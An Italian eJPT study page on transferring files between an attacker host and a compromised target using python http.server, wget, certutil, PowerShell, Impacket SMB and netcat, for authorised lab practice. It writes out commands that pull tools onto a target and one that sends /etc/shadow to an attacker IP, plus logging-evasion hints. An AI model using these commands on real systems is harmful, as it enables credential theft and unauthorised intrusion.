eJPT · Exploitation & Post-Ex
Trasferimento File tra Attaccante e Target
Difficoltà: Beginner Time to Master: 1h Prerequisiti: 06-Persistence-Basics.md Lab: INE PTS labs (qualsiasi macchina con shell ottenuta)
Obiettivo
C’è un momento, la prima volta che ottieni una shell “nuda” (non Meterpreter), in cui ti blocchi: hai una reverse shell su un host Linux o Windows e vuoi tirarci dentro linpeas.sh, o tirare fuori un file che hai trovato. E ti accorgi che “shell” non vuol dire “posso fare copia-incolla”. Questa pagina è esattamente la cassetta degli attrezzi per quel momento: come far arrivare (e far uscire) file da un host quando non hai Meterpreter a fare tutto per te. È una competenza esplicitamente testata nell’eJPTv2 (dominio Host and Network Auditing), e in pratica la userai in ogni singolo lab con shell non-Meterpreter.
Concetti chiave
Perché non basta “una shell”
Una reverse/bind shell ti dà un canale per eseguire comandi, non un canale per spostare file. Per trasferire dati devi aprire un secondo canale (HTTP, SMB, TFTP, o incollare testo codificato dentro la shell stessa). La scelta dipende da cosa è disponibile sul target: un Windows minimale spesso ha solo PowerShell e certutil, un Linux embedded a volte non ha nemmeno wget.
Direzione del trasferimento
| Direzione | Significato | Quando serve |
|---|---|---|
| Download (target -> tuo host) | il target scarica da te | portare tool di enumeration/exploit sul target (linpeas, nc, exploit compilato) |
| Upload (tuo host -> target) | il target ti manda un file | esfiltrare hash, config, database dump trovati sul target |
Canali disponibili per OS
| OS target | Canali tipici |
|---|---|
| Linux | wget/curl (download), python3 -m http.server sul tuo host, scp se hai credenziali SSH, nc con redirect |
| Windows | certutil -urlcache, PowerShell Invoke-WebRequest/IWR, wget alias PowerShell, SMB share con Impacket smbserver.py |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| python3 http.server | python3 -m http.server 8000 |
server HTTP sulla cartella corrente | il modo più veloce per servire file dal tuo host d’attacco |
| certutil (Windows) | certutil -urlcache -f http://IP/file.exe file.exe |
file scaricato | funziona su quasi ogni Windows, spesso non loggato come “download tool” |
| Impacket smbserver | smbserver.py share . -smb2support |
share SMB temporanea | utile quando certutil/IWR sono bloccati ma SMB no |
| nc (netcat) | nc -lvnp 4444 > file.bin (ricevente) / nc IP 4444 < file.bin (mittente) |
file trasferito raw | funziona ovunque ci sia netcat, nessun protocollo applicativo di mezzo |
Payload / Esempi
Esempio 1: scaricare un file su Linux con wget/curl
# Sul tuo host d'attacco, nella cartella con il file da servire
python3 -m http.server 8000
# Sulla shell del target
wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
Spiegazione: python3 -m http.server è il coltellino svizzero di questa pagina: funziona su praticamente ogni distro Linux moderna preinstallata su Kali/Parrot, e non richiede setup. Se wget non c’è, curl -O fa lo stesso lavoro.
Esempio 2: scaricare un file su Windows con certutil
certutil -urlcache -split -f http://10.10.14.5:8000/nc.exe nc.exe
Spiegazione: certutil è pensato per gestire certificati, ma il flag -urlcache lo trasforma in un downloader HTTP: è quasi sempre presente (fa parte di Windows dai tempi di Server 2003) e spesso sfugge a controlli più superficiali proprio perché “non sembra” un tool di download.
Esempio 3: scaricare un file su Windows con PowerShell
Invoke-WebRequest -Uri http://10.10.14.5:8000/linpeas.exe -OutFile C:\Users\Public\linpeas.exe
Spiegazione: Invoke-WebRequest (alias iwr, e in molti ambienti anche wget funziona come alias) è l’equivalente PowerShell di curl; se il target ha AMSI/logging avanzato attivo può comparire nei log più facilmente di certutil, tienilo a mente se stai anche testando detection.
Esempio 4: esfiltrare un file senza server HTTP, con netcat
# Sul tuo host (ricevente)
nc -lvnp 4444 > hash_dump.txt
# Sulla shell del target (mittente)
nc 10.10.14.5 4444 < /etc/shadow
Spiegazione: utile quando sul target non hai né HTTP client né SSH, ma c’è nc: funziona a basso livello, senza integrità garantita su file grandi (per file piccoli come un dump di hash va benissimo).
Evasion / Bypass Techniques
- Se
wget/curlsono bloccati o assenti, provapython3/python(spesso presente) con un one-linerurllib, oppuretftp(ancora comune su Windows Server più datati) - Se l’output di un comando serve “al volo” senza salvarlo su disco, incollare testo codificato in Base64 direttamente nella shell evita del tutto il problema del canale di trasferimento (utile per file piccoli come script di enumeration)
- In un contesto d’esame autorizzato l’evasion non è l’obiettivo primario: conoscere più canali serve soprattutto quando il primo che provi non è disponibile, non per aggirare difese attive
Lab Hands-On
Lab 1: INE PTS labs, trasferimento bidirezionale
Obiettivo: portare un tool di enumeration sul target e poi esfiltrare l’output che produce Difficulty: Facile Time: 30 min
Walkthrough breve:
- Ottieni una shell (reverse o bind) su un target di lab, Linux o Windows
- Servi
linpeas.sh/winpeas.exedal tuo host conpython3 -m http.servere scaricalo sul target col canale disponibile - Esegui lo script e salva l’output su file
- Riporta l’output sul tuo host (nuovo
http.serversul target, oppure netcat)
Common Mistakes
- Dare per scontato che
wgetesista ovunque -> su molte distro minimali/container c’è solocurl, o nessuno dei due (in quel caso:python3,nc, o Base64 diretto in shell) - Dimenticare
chmod +xdopo aver scaricato uno script su Linux -> il file c’è ma non parte, e sembra un problema più grosso di quello che è - Usare
certutil/PowerShell download senza sapere che possono comparire nei log -> non è un problema in un lab, ma è il primo indizio che un blue team reale userebbe per rilevarti
Link Utili
Connessioni
- Prerequisito: 06-Persistence-Basics.md
- Prossimo Step: Lab-Challenges.md
- Combinazione con: 03-Privilege-Escalation-Windows.md, 04-Privilege-Escalation-Linux.md
Checklist di padronanza
- So scaricare un file sul target con almeno 2 metodi diversi su Linux
- So scaricare un file sul target con almeno 2 metodi diversi su Windows
- So esfiltrare un file dal target senza usare Meterpreter
- Capisco perché a volte devo cambiare canale (uno bloccato, l’altro no)